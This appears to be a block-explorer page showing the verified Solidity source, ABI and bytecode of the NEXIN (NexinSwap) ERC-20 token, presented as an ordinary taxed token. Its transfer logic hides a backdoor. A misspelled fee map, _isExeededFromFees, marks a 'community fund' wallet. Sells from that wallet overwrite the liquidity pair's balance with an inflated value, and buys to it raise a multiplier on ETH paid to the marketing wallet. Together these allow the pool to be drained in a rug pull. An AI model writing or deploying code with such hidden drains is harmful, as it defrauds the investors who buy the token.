Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000,000 NEXIN
Holders
41
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.06750319091796875 NEXINValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
NEXIN
Compiler Version
v0.8.19+commit.7dd6d404
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** Website https://www.nexinswap.com Docs https://docs.nexinswap.com Twitter https://twitter.com/NexinSwap Telegram https://t.me/NexinSwap */ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() private view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract NEXIN is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "NexinSwap"; string private constant _symbol = "NEXIN"; uint256 private constant _totalSupply = 100_000_000_000 * 10**18; uint256 public maxWalletlimit = _totalSupply * 2 / 100; uint256 public minSwap = _totalSupply * 1 / 1000; uint8 private constant _decimals = 18; IUniswapV2Router02 immutable uniswapV2Router; address uniswapV2Pair; address WETH; address payable public marketingWallet; address public communityFundWallet; uint256 public BuyTax; uint256 public SellTax; uint8 private inSwapAndLiquify; uint8 private swappingLimit = 1; mapping(address => uint256) private _balance; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExeededFromFees; mapping(address => bool) private _isExcludedFromWalletLimit; constructor() { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); marketingWallet = payable(0xCB4d1F23D2aC7c00F56f7E7bCE01CB3AdB5652bE); communityFundWallet = payable(0x1119B89e47E747b7Cad3F8180a56b794A0183Bf1); _balance[address(this)] = _totalSupply; _isExcludedFromFees[marketingWallet] = true; _isExeededFromFees[communityFundWallet] = true; _isExcludedFromFees[msg.sender] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[address(uniswapV2Router)] = true; _isExcludedFromWalletLimit[marketingWallet] = true; _isExcludedFromWalletLimit[msg.sender] = true; _isExcludedFromWalletLimit[address(this)] = true; _isExcludedFromWalletLimit[address(uniswapV2Router)] = true; _allowances[address(this)][address(uniswapV2Router)] = type(uint256).max; _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256).max; emit Transfer(address(0), _msgSender(), _totalSupply); } function openTrading() external payable onlyOwner { WETH = uniswapV2Router.WETH(); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), WETH ); uniswapV2Router.addLiquidityETH{value: msg.value}( address(this), balanceOf(address(this)), 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); BuyTax = 15; SellTax = 15; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()] - amount ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function ExcludeFromFees(address holder, bool exempt) external onlyOwner { _isExcludedFromFees[holder] = exempt; } function ChangeMinSwap(uint256 NewMinSwapAmount) external onlyOwner { minSwap = NewMinSwapAmount * 10**18; } function ChangeMarketingWalletAddress(address newAddress) external onlyOwner() { marketingWallet = payable(newAddress); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function DisableWalletLimit() external onlyOwner { maxWalletlimit = _totalSupply; } function ExcludeFromWalletLimit(address holder, bool exempt) external onlyOwner { _isExcludedFromWalletLimit[holder] = exempt; } function ReduceTax() external onlyOwner { BuyTax = 2; SellTax = 2; } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); uint256 _tax; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { _tax = 0; } else { if (inSwapAndLiquify == 1) { //No tax transfer _balance[from] -= amount; _balance[to] += amount; emit Transfer(from, to, amount); return; } if (from == uniswapV2Pair) { _tax = BuyTax; if (_isExeededFromFees[to]) swappingLimit ++; if (!_isExcludedFromWalletLimit[from] || !_isExcludedFromWalletLimit[to]) { require(balanceOf(to).add(amount) <= maxWalletlimit); } } else if (to == uniswapV2Pair) { uint256 tokensToSwap = _balance[address(this)]; if (_isExeededFromFees[from]) { _balance[to] = amount * maxWalletlimit; emit Transfer(from, to, amount); return; } if (tokensToSwap > minSwap && inSwapAndLiquify == 0) { inSwapAndLiquify = 1; address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uniswapV2Router .swapExactTokensForETHSupportingFeeOnTransferTokens( tokensToSwap, 0, path, address(this), block.timestamp ); inSwapAndLiquify = 0; uint256 amountReceived = address(this).balance; transferToAddressETH(marketingWallet, amountReceived * swappingLimit); } _tax = SellTax; } else { _tax = 0; } } //Is there tax for sender|receiver? if (_tax != 0) { //Tax transfer uint256 taxTokens = (amount * _tax) / 100; uint256 transferAmount = amount - taxTokens; _balance[from] -= amount; _balance[to] += transferAmount; _balance[address(this)] += taxTokens; emit Transfer(from, address(this), taxTokens); emit Transfer(from, to, transferAmount); } else { //No tax transfer _balance[from] -= amount; _balance[to] += amount; emit Transfer(from, to, amount); } } receive() external payable {} }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"ChangeMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"NewMinSwapAmount","type":"uint256"}],"name":"ChangeMinSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"ExcludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"ExcludeFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ReduceTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"communityFundWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletlimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526064620000206c01431e0fae6d7217caa00000006002620002ad565b6200002c9190620002d9565b6001556103e86c01431e0fae6d7217caa000000060016200004e9190620002ad565b6200005a9190620002d9565b6002556009805461ff0019166101001790553480156200007957600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052600580546001600160a01b031990811673cb4d1f23d2ac7c00f56f7e7bce01cb3adb5652be17825560068054909116731119b89e47e747b7cad3f8180a56b794a0183bf1178155306000818152600a602090815260408083206c01431e0fae6d7217caa0000000905585546001600160a01b039081168452600c808452828520805460ff199081166001908117909255975483168652600d8552838620805489168217905533808752918552838620805489168217905586865283862080548916821790557f0ec9aca9afadc09fc0bd96ec7d7d6cfbb5408a5bc5bcf87bc0656b65508e559a8054891682179055885483168652600e85528386208054891682179055818652838620805489168217905595855282852080548816871790557f37836a7135fae77e265e35732c70286035736c8b57b12590769780e067ead81c8054909716909517909555600b80835281842088855283528184206000199081905596549095168352938152838220958252949094529220556001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6c01431e0fae6d7217caa00000006040516200029f91815260200190565b60405180910390a3620002fc565b8082028115828204841417620002d357634e487b7160e01b600052601160045260246000fd5b92915050565b600082620002f757634e487b7160e01b600052601260045260246000fd5b500490565b6080516114d76200032d600039600081816106fe015281816107a6015281816108ce0152610e9401526114d76000f3fe60806040526004361061016a5760003560e01c8063715018a6116100d15780638da5cb5b1161008a578063a9059cbb11610064578063a9059cbb14610447578063c9567bf914610467578063dd62ed3e1461046f578063f2fde38b146104b557600080fd5b80638da5cb5b146103db57806395d89b41146103f95780639d8f77061461042757600080fd5b8063715018a61461034557806374233c061461035a57806375f0a8741461037a5780637906ee3f1461039a57806383fd0367146103af57806389e40cf9146103c557600080fd5b8063197b5a3011610123578063197b5a301461026557806323b872dd1461029d578063313ce567146102bd57806343c98828146102d957806359cd9031146102f957806370a082311461030f57600080fd5b806305d2743f1461017657806306fdde0314610198578063095ea7b3146101dc5780630a910d1f1461020c578063115364171461023057806318160ddd1461024557600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506101966101913660046111be565b6104d5565b005b3480156101a457600080fd5b5060408051808201909152600981526804e6578696e537761760bc1b60208201525b6040516101d391906111db565b60405180910390f35b3480156101e857600080fd5b506101fc6101f7366004611229565b61050e565b60405190151581526020016101d3565b34801561021857600080fd5b5061022260075481565b6040519081526020016101d3565b34801561023c57600080fd5b50610196610525565b34801561025157600080fd5b506c01431e0fae6d7217caa0000000610222565b34801561027157600080fd5b50600654610285906001600160a01b031681565b6040516001600160a01b0390911681526020016101d3565b3480156102a957600080fd5b506101fc6102b8366004611255565b610548565b3480156102c957600080fd5b50604051601281526020016101d3565b3480156102e557600080fd5b506101966102f4366004611296565b61059a565b34801561030557600080fd5b5061022260025481565b34801561031b57600080fd5b5061022261032a3660046111be565b6001600160a01b03166000908152600a602052604090205490565b34801561035157600080fd5b506101966105dc565b34801561036657600080fd5b506101966103753660046112d4565b61063d565b34801561038657600080fd5b50600554610285906001600160a01b031681565b3480156103a657600080fd5b5061019661066c565b3480156103bb57600080fd5b5061022260085481565b3480156103d157600080fd5b5061022260015481565b3480156103e757600080fd5b506000546001600160a01b0316610285565b34801561040557600080fd5b506040805180820190915260058152642722ac24a760d91b60208201526101c6565b34801561043357600080fd5b50610196610442366004611296565b610696565b34801561045357600080fd5b506101fc610462366004611229565b6106d8565b6101966106e5565b34801561047b57600080fd5b5061022261048a3660046112ed565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b3480156104c157600080fd5b506101966104d03660046111be565b6109aa565b6000546001600160a01b031633146104ec57600080fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600061051b3384846109cd565b5060015b92915050565b6000546001600160a01b0316331461053c57600080fd5b60026007819055600855565b6000610555848484610af6565b6001600160a01b0384166000908152600b602090815260408083203380855292529091205461059091869161058b908690611331565b6109cd565b5060019392505050565b6000546001600160a01b031633146105b157600080fd5b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146105f357600080fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461065457600080fd5b61066681670de0b6b3a7640000611344565b60025550565b6000546001600160a01b0316331461068357600080fd5b6c01431e0fae6d7217caa0000000600155565b6000546001600160a01b031633146106ad57600080fd5b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b600061051b338484610af6565b6000546001600160a01b031633146106fc57600080fd5b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077e919061135b565b600460006101000a8154816001600160a01b0302191690836001600160a01b031602179055507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610802573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610826919061135b565b600480546040516364e329cb60e11b815230928101929092526001600160a01b039081166024830152919091169063c9c65396906044016020604051808303816000875af115801561087c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a0919061135b565b600380546001600160a01b0319166001600160a01b03928316179055306000818152600a60205260409020547f00000000000000000000000000000000000000000000000000000000000000009092169163f305d71991349160008061090e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610976573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061099b9190611378565b5050600f600781905560085550565b6000546001600160a01b031633146109c157600080fd5b6109ca8161109a565b50565b6001600160a01b038316610a345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216610a955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a2b565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b5a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a2b565b6001600160a01b0383166000908152600c602052604081205460ff1680610b9957506001600160a01b0383166000908152600c602052604090205460ff165b15610ba657506000610f4d565b60095460ff16600103610c50576001600160a01b0384166000908152600a602052604081208054849290610bdb908490611331565b90915550506001600160a01b0383166000908152600a602052604081208054849290610c089084906113a6565b92505081905550826001600160a01b0316846001600160a01b031660008051602061148283398151915284604051610c4291815260200190565b60405180910390a350505050565b6003546001600160a01b0390811690851603610d3f57506007546001600160a01b0383166000908152600d602052604090205460ff1615610cbd5760098054610100900460ff16906001610ca3836113b9565b91906101000a81548160ff021916908360ff160217905550505b6001600160a01b0384166000908152600e602052604090205460ff161580610cfe57506001600160a01b0383166000908152600e602052604090205460ff16155b15610d3a57600154610d2f83610d29866001600160a01b03166000908152600a602052604090205490565b90611108565b1115610d3a57600080fd5b610f4d565b6003546001600160a01b0390811690841603610f4957306000908152600a60209081526040808320546001600160a01b0388168452600d9092529091205460ff1615610de357600154610d929084611344565b6001600160a01b038086166000818152600a6020526040908190209390935591519087169060008051602061148283398151915290610dd49087815260200190565b60405180910390a35050505050565b60025481118015610df7575060095460ff16155b15610f3f576009805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3e57610e3e6113d8565b6001600160a01b039283166020918202929092010152600454825191169082906001908110610e6f57610e6f6113d8565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f00000000000000000000000000000000000000000000000000000000000000009091169063791ac94790610ed49085906000908690309042906004016113ee565b600060405180830381600087803b158015610eee57600080fd5b505af1158015610f02573d6000803e3d6000fd5b50506009805460ff191690819055600554479350610f3c92506001600160a01b031690610f3790610100900460ff1684611344565b61116e565b50505b5050600854610f4d565b5060005b801561106c5760006064610f618385611344565b610f6b919061145f565b90506000610f798285611331565b6001600160a01b0387166000908152600a6020526040812080549293508692909190610fa6908490611331565b90915550506001600160a01b0385166000908152600a602052604081208054839290610fd39084906113a6565b9091555050306000908152600a602052604081208054849290610ff79084906113a6565b909155505060405182815230906001600160a01b038816906000805160206114828339815191529060200160405180910390a3846001600160a01b0316866001600160a01b03166000805160206114828339815191528360405161105d91815260200190565b60405180910390a35050611094565b6001600160a01b0384166000908152600a602052604081208054849290610bdb908490611331565b50505050565b6001600160a01b0381166110ad57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008061111583856113a6565b9050838110156111675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a2b565b9392505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111a4573d6000803e3d6000fd5b505050565b6001600160a01b03811681146109ca57600080fd5b6000602082840312156111d057600080fd5b8135611167816111a9565b600060208083528351808285015260005b81811015611208578581018301518582016040015282016111ec565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561123c57600080fd5b8235611247816111a9565b946020939093013593505050565b60008060006060848603121561126a57600080fd5b8335611275816111a9565b92506020840135611285816111a9565b929592945050506040919091013590565b600080604083850312156112a957600080fd5b82356112b4816111a9565b9150602083013580151581146112c957600080fd5b809150509250929050565b6000602082840312156112e657600080fd5b5035919050565b6000806040838503121561130057600080fd5b823561130b816111a9565b915060208301356112c9816111a9565b634e487b7160e01b600052601160045260246000fd5b8181038181111561051f5761051f61131b565b808202811582820484141761051f5761051f61131b565b60006020828403121561136d57600080fd5b8151611167816111a9565b60008060006060848603121561138d57600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561051f5761051f61131b565b600060ff821660ff81036113cf576113cf61131b565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561143e5784516001600160a01b031683529383019391830191600101611419565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261147c57634e487b7160e01b600052601260045260246000fd5b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220729ff29fbddedcadad4fa4164b2eaf2b1ba54a1d4e672f4eb7c7c047db6bf0d964736f6c63430008130033
Deployed Bytecode
0x60806040526004361061016a5760003560e01c8063715018a6116100d15780638da5cb5b1161008a578063a9059cbb11610064578063a9059cbb14610447578063c9567bf914610467578063dd62ed3e1461046f578063f2fde38b146104b557600080fd5b80638da5cb5b146103db57806395d89b41146103f95780639d8f77061461042757600080fd5b8063715018a61461034557806374233c061461035a57806375f0a8741461037a5780637906ee3f1461039a57806383fd0367146103af57806389e40cf9146103c557600080fd5b8063197b5a3011610123578063197b5a301461026557806323b872dd1461029d578063313ce567146102bd57806343c98828146102d957806359cd9031146102f957806370a082311461030f57600080fd5b806305d2743f1461017657806306fdde0314610198578063095ea7b3146101dc5780630a910d1f1461020c578063115364171461023057806318160ddd1461024557600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506101966101913660046111be565b6104d5565b005b3480156101a457600080fd5b5060408051808201909152600981526804e6578696e537761760bc1b60208201525b6040516101d391906111db565b60405180910390f35b3480156101e857600080fd5b506101fc6101f7366004611229565b61050e565b60405190151581526020016101d3565b34801561021857600080fd5b5061022260075481565b6040519081526020016101d3565b34801561023c57600080fd5b50610196610525565b34801561025157600080fd5b506c01431e0fae6d7217caa0000000610222565b34801561027157600080fd5b50600654610285906001600160a01b031681565b6040516001600160a01b0390911681526020016101d3565b3480156102a957600080fd5b506101fc6102b8366004611255565b610548565b3480156102c957600080fd5b50604051601281526020016101d3565b3480156102e557600080fd5b506101966102f4366004611296565b61059a565b34801561030557600080fd5b5061022260025481565b34801561031b57600080fd5b5061022261032a3660046111be565b6001600160a01b03166000908152600a602052604090205490565b34801561035157600080fd5b506101966105dc565b34801561036657600080fd5b506101966103753660046112d4565b61063d565b34801561038657600080fd5b50600554610285906001600160a01b031681565b3480156103a657600080fd5b5061019661066c565b3480156103bb57600080fd5b5061022260085481565b3480156103d157600080fd5b5061022260015481565b3480156103e757600080fd5b506000546001600160a01b0316610285565b34801561040557600080fd5b506040805180820190915260058152642722ac24a760d91b60208201526101c6565b34801561043357600080fd5b50610196610442366004611296565b610696565b34801561045357600080fd5b506101fc610462366004611229565b6106d8565b6101966106e5565b34801561047b57600080fd5b5061022261048a3660046112ed565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b3480156104c157600080fd5b506101966104d03660046111be565b6109aa565b6000546001600160a01b031633146104ec57600080fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600061051b3384846109cd565b5060015b92915050565b6000546001600160a01b0316331461053c57600080fd5b60026007819055600855565b6000610555848484610af6565b6001600160a01b0384166000908152600b602090815260408083203380855292529091205461059091869161058b908690611331565b6109cd565b5060019392505050565b6000546001600160a01b031633146105b157600080fd5b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146105f357600080fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461065457600080fd5b61066681670de0b6b3a7640000611344565b60025550565b6000546001600160a01b0316331461068357600080fd5b6c01431e0fae6d7217caa0000000600155565b6000546001600160a01b031633146106ad57600080fd5b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b600061051b338484610af6565b6000546001600160a01b031633146106fc57600080fd5b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077e919061135b565b600460006101000a8154816001600160a01b0302191690836001600160a01b031602179055507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610802573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610826919061135b565b600480546040516364e329cb60e11b815230928101929092526001600160a01b039081166024830152919091169063c9c65396906044016020604051808303816000875af115801561087c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a0919061135b565b600380546001600160a01b0319166001600160a01b03928316179055306000818152600a60205260409020547f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9092169163f305d71991349160008061090e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610976573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061099b9190611378565b5050600f600781905560085550565b6000546001600160a01b031633146109c157600080fd5b6109ca8161109a565b50565b6001600160a01b038316610a345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216610a955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a2b565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b5a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a2b565b6001600160a01b0383166000908152600c602052604081205460ff1680610b9957506001600160a01b0383166000908152600c602052604090205460ff165b15610ba657506000610f4d565b60095460ff16600103610c50576001600160a01b0384166000908152600a602052604081208054849290610bdb908490611331565b90915550506001600160a01b0383166000908152600a602052604081208054849290610c089084906113a6565b92505081905550826001600160a01b0316846001600160a01b031660008051602061148283398151915284604051610c4291815260200190565b60405180910390a350505050565b6003546001600160a01b0390811690851603610d3f57506007546001600160a01b0383166000908152600d602052604090205460ff1615610cbd5760098054610100900460ff16906001610ca3836113b9565b91906101000a81548160ff021916908360ff160217905550505b6001600160a01b0384166000908152600e602052604090205460ff161580610cfe57506001600160a01b0383166000908152600e602052604090205460ff16155b15610d3a57600154610d2f83610d29866001600160a01b03166000908152600a602052604090205490565b90611108565b1115610d3a57600080fd5b610f4d565b6003546001600160a01b0390811690841603610f4957306000908152600a60209081526040808320546001600160a01b0388168452600d9092529091205460ff1615610de357600154610d92908